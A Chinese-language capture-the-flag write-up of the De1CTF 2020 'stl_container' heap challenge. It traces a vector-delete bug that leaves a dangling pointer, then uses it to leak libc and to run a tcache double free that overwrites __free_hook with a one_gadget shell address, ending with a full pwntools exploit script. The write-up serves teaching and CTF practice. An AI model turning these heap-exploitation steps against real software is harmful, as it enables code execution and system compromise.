De1CTF 2020 之 stl_container

stl_container
libc-2.27.so

1 触发异常分支

这个题目寻找漏洞点的过程比较曲折,IDA打开发现是c++代码,但是我真的不懂C++,纠结从代码里找漏洞找了一天也没思路。在男票的提醒下,直接触发漏洞,再根据触发的漏洞去理解程序然后利用。

main函数中可以看到四个stl函数。list和vector函数中实现了add,delete和show。queue和stack中只支持add和delete。

1
2
3
4
5
6
7
8
9
10
11
12
case 1u:
TestList();
break;
case 2u:
TestVector();
break;
case 3u:
TestQueue();
break;
case 4u:
TestStack();
break;

由于是堆相关的题目,很自然想到问题大多出在free时,因此对list和vector下的add和delete进行测试。在add两个vector,删除index为0的vector,然后执行show(0)时,打印了一堆无法显示的字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
STL Container Test
1. list
2. vector
3. queue
4. stack
5. exit
>> 2
1. add
2. delete
3. show
>> 1
input data:123
done!
STL Container Test
……
>> 2
1. add
2. delete
3. show
>> 1
input data:qwe
done!
STL Container Test
……
>> 2
1. add
2. delete
3. show
>> 2
index?
0
done!
STL Container Test
……
>> 2
1. add
2. delete
3. show
>> 3
index?
0
data: ���V

data部分应该是访问了非法内存,那么接下来就用gef进行调试,看看是什么原因导致了访问非法内存。

2 分析异常原因

申请两个vector,然后查看chunk的分布情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
~~~~~~
Chunk(addr=0x560ff5676490, size=0x20, flags=PREV_INUSE)
[0x0000560ff5676490 50 65 67 f5 0f 56 00 00 f0 65 67 f5 0f 56 00 00 Peg..V...eg..V..]
~~~~~~
Chunk(addr=0x560ff5676550, size=0xa0, flags=PREV_INUSE)
[0x0000560ff5676550 76 65 63 74 6f 72 31 31 31 0a 00 00 00 00 00 00 vector111.......]
Chunk(addr=0x560ff56765f0, size=0xa0, flags=PREV_INUSE)
[0x0000560ff56765f0 76 65 63 74 6f 72 32 32 32 0a 00 00 00 00 00 00 vector222.......]
Chunk(addr=0x560ff5676690, size=0xe980, flags=PREV_INUSE) ← top chunk
-----------------------------------------------------------------------------------
gef➤ x/10gx 0x560ff5676490
0x560ff5676490: 0x0000560ff5676550 0x0000560ff56765f0
0x560ff56764a0: 0x0000000000000000 0x00000000000000a1

可以看到0x560ff5676490处依次存放了vector(0) 和vector(1)的字符串地址。接下来删除vector(0),看看这个地址处和字符串有什么变化,如下。

1
2
3
4
5
6
7
8
9
10
11
12
~~~~~~~~
Chunk(addr=0x560ff5676490, size=0x20, flags=PREV_INUSE)
[0x0000560ff5676490 f0 65 67 f5 0f 56 00 00 f0 65 67 f5 0f 56 00 00 .eg..V...eg..V..]
~~~~~~~~
Chunk(addr=0x560ff5676550, size=0xa0, flags=PREV_INUSE)
[0x0000560ff5676550 76 65 63 74 6f 72 31 31 31 0a 00 00 00 00 00 00 vector111.......]
Chunk(addr=0x560ff56765f0, size=0xa0, flags=PREV_INUSE)
[0x0000560ff56765f0 b0 64 67 f5 0f 56 00 00 32 0a 00 00 00 00 00 00 .dg..V..2.......]
--------------------------------------------------------------------------------
gef➤ x/10gx 0x560ff5676490
0x560ff5676490: 0x0000560ff56765f0 0x0000560ff56765f0
0x560ff56764a0: 0x0000000000000000 0x00000000000000a1

可以看到0x560ff5676490处,原本放vector(0)字符串地址的位置被vector(1)字符串地址0x0000560ff56765f0覆盖了,而且vector(1)字符串地址处的空间被释放了,vector(0)的字符串“vector111”依然在堆中。

执行show(0)时,返回如下信息:

1
2
3
4
5
6
7
8
[DEBUG] Received 0x4f bytes:
00000000 64 61 74 61 3a 20 b0 64 67 f5 0f 56 0a 53 54 4c │data│: ·d│g··V│·STL│
00000010 20 43 6f 6e 74 61 69 6e 65 72 20 54 65 73 74 0a │ Con│tain│er T│est·│
00000020 31 2e 20 6c 69 73 74 0a 32 2e 20 76 65 63 74 6f │1. l│ist·│2. v│ecto│
00000030 72 0a 33 2e 20 71 75 65 75 65 0a 34 2e 20 73 74 │r·3.│ que│ue·4│. st│
00000040 61 63 6b 0a 35 2e 20 65 78 69 74 0a 3e 3e 20 │ack·│5. e│xit·│>> │
0000004f
data: \xb0dg�V

根据接收到的data可以看出,打印的是b0 64 67 f5 0f 56,这个正好对上了此时地址0x560ff56765f0处的内容。

  • 分析到这里,可以看出我们在delete 0号vector时,实际发生了这么一个过程:0号vector的字符串地址被从0x560ff5676490空间中删除,并且将1号vector的字符串地址前移一位;然后再free 0号vector的字符串地址,但此时该处已经变成 1号vector的字符串地址;因此导致删除 0号vector却free了 1号vector的字符串地址。而1号vector的字符串地址后续还可以继续被使用,这就是一个悬空指针。

3 悬空指针可以做什么

这个悬空指针目前有两种操作:

  • delete() - double free。由于这个题是ubuntu18.04下libc-2.27.so,有Tcache,因此一次double free就可以形成一个环,进而任意地址写。可以参考我之前做过的一个链接:https://blingblingxuanxuan.github.io/2020/03/13/TcacheTear/
  • show() - 泄露信息。如libc、堆栈、程序等地址或信息。

3.1 泄露libc

通常的做法是将一个chunk free到unsorted bin中,再将这个chunk申请回来,然后打印该chunk内容,就可以计算出libc的地址。

这道题中我们无法控制申请的堆空间的大小,但是每add一个list/vector/queue/stack时,在Test::Init中都有malloc(0x98),这些chunk在相应的delete操作后都会串到大小为0xa0的Tcache链上。一条Tcache链最多串7个chunk,第8个相同大小的chunk会被放到unsorted bin中。

构造如下顺序的add和delete。最先delete list(1)时,大小为0xa0的Tcache链上会存在一个之前的chunk,此时我们只需delete 6个就可以将vector(0)放到unsorted bin中(实际是将vector(1)的data块扔到了unsorted bin),接下来通过show(vector 0)就可以读取到leak的地址,从而得到malloc_state结构体地址,最后查找libc-2.27.so中malloc_trim()中malloc_state的偏移,就可以计算出libc地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
vector_add("vector111")
vector_add("vector222")
list_add("list111")
list_add("list222")
queue_add("queue111")
queue_add("queue222")
stack_add("stack111")
stack_add("stack222")

list_delete(1)
list_delete(0)
queue_delete()
queue_delete()
stack_delete()
stack_delete()
vector_delete(0)

vector_show(0)
leak_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
state_addr = leak_addr - 0x60
libc_addr = state_addr - 0x3EBC40
log.warn("libc_addr: 0x%x" % libc_addr)

3.2 写libc的函数指针

由于本题got表不可写,且开启了PIE。因此考虑写libc中的函数指针,如__malloc_hook__free_hook,将函数指针写成one gadget地址,下次调用到malloc或free时就能get shell。

泄露完libc后,需要调整下堆空间的布局,通过double free获取一个环(在Tcache链上),从而去任意地址写。

由于此时Tcache上0xa0链上是满的,因此需要add操作将Tcache链上的chunk用掉一些。我这里add了三次,其中一次必须是add vector(凑齐两个vector),不然后续无法delete 两次形成double free。

1
2
3
4
5
6
7
8
9
10
11
one_gadget1 = libc_addr + 0x4f322
free_hook_addr = libc_addr + 0x3ed8e8

vector_add("vector333")
list_add("list333")
list_add("list444")
vector_delete(0)
vector_delete(0)

vector_add(p64(free_hook_addr))
vector_add(p64(one_gadget1))

在libc-2.27.so中找到三个可用gadget,其中0x4f322可利用成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
bling@Ubuntu1804:/mnt/hgfs/vmshare-1804$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

2 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#coding=utf-8
from pwn import *

context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./stl_container")
mylibc = ELF("./libc-2.27.so")
myproc = process(myelf.path)

def list_add(data):
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil("input data:")
myproc.sendline(data)

def list_delete(index):
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil(">> ")
myproc.sendline(str(2))
myproc.recvuntil("index?")
myproc.sendline(str(index))

def list_show(index):
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil(">> ")
myproc.sendline(str(3))
myproc.recvuntil("index?")
myproc.sendline(str(index))

def vector_add(data):
myproc.recvuntil(">> ")
myproc.sendline(str(2))
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil("input data:")
myproc.sendline(data)

def vector_delete(index):
myproc.recvuntil(">> ")
myproc.sendline(str(2))
myproc.recvuntil(">> ")
myproc.sendline(str(2))
myproc.recvuntil("index?")
myproc.sendline(str(index))

def vector_show(index):
myproc.recvuntil(">> ")
myproc.sendline(str(2))
myproc.recvuntil(">> ")
myproc.sendline(str(3))
myproc.recvuntil("index?")
myproc.sendline(str(index))

def queue_add(data):
myproc.recvuntil(">> ")
myproc.sendline(str(3))
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil("input data:")
myproc.sendline(data)

def queue_delete():
myproc.recvuntil(">> ")
myproc.sendline(str(3))
myproc.recvuntil(">> ")
myproc.sendline(str(2))

def stack_add(data):
myproc.recvuntil(">> ")
myproc.sendline(str(4))
myproc.recvuntil(">> ")
myproc.sendline(str(1))
myproc.recvuntil("input data:")
myproc.sendline(data)

def stack_delete():
myproc.recvuntil(">> ")
myproc.sendline(str(4))
myproc.recvuntil(">> ")
myproc.sendline(str(2))

###leak libc###
vector_add("vector111")
vector_add("vector222")
list_add("list111")
list_add("list222")
queue_add("queue111")
queue_add("queue222")
stack_add("stack111")
stack_add("stack222")

list_delete(1)
list_delete(0)
queue_delete()
queue_delete()
stack_delete()
stack_delete()
vector_delete(0)

vector_show(0)
myproc.recvuntil("data: ")
leak_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
log.warn("leak_addr: 0x%x" % leak_addr)

state_addr = leak_addr - 0x60
libc_addr = state_addr - 0x3EBC40
log.warn("libc_addr: 0x%x" % libc_addr)

### change libc hook###
one_gadget0 = libc_addr + 0x4f2c5
one_gadget1 = libc_addr + 0x4f322
one_gadget2 = libc_addr + 0x10a38c
malloc_hook_addr = libc_addr + 0x3ebc30
free_hook_addr = libc_addr + 0x3ed8e8
#free_hook_addr = libc_addr + mylibc.symbols['__free_hook']
log.warn("malloc_hook_addr: 0x%x" % malloc_hook_addr)
log.warn("free_hook_addr: 0x%x" % free_hook_addr)
log.warn("one_gadget0: 0x%x" % one_gadget0)
log.warn("one_gadget1: 0x%x" % one_gadget1)
log.warn("one_gadget2: 0x%x" % one_gadget2)

vector_add("vector333")
list_add("list333")
list_add("list444")
vector_delete(0)
vector_delete(0)

vector_add(p64(free_hook_addr))
vector_add(p64(one_gadget1))

#gdb.attach(myproc)
myproc.interactive()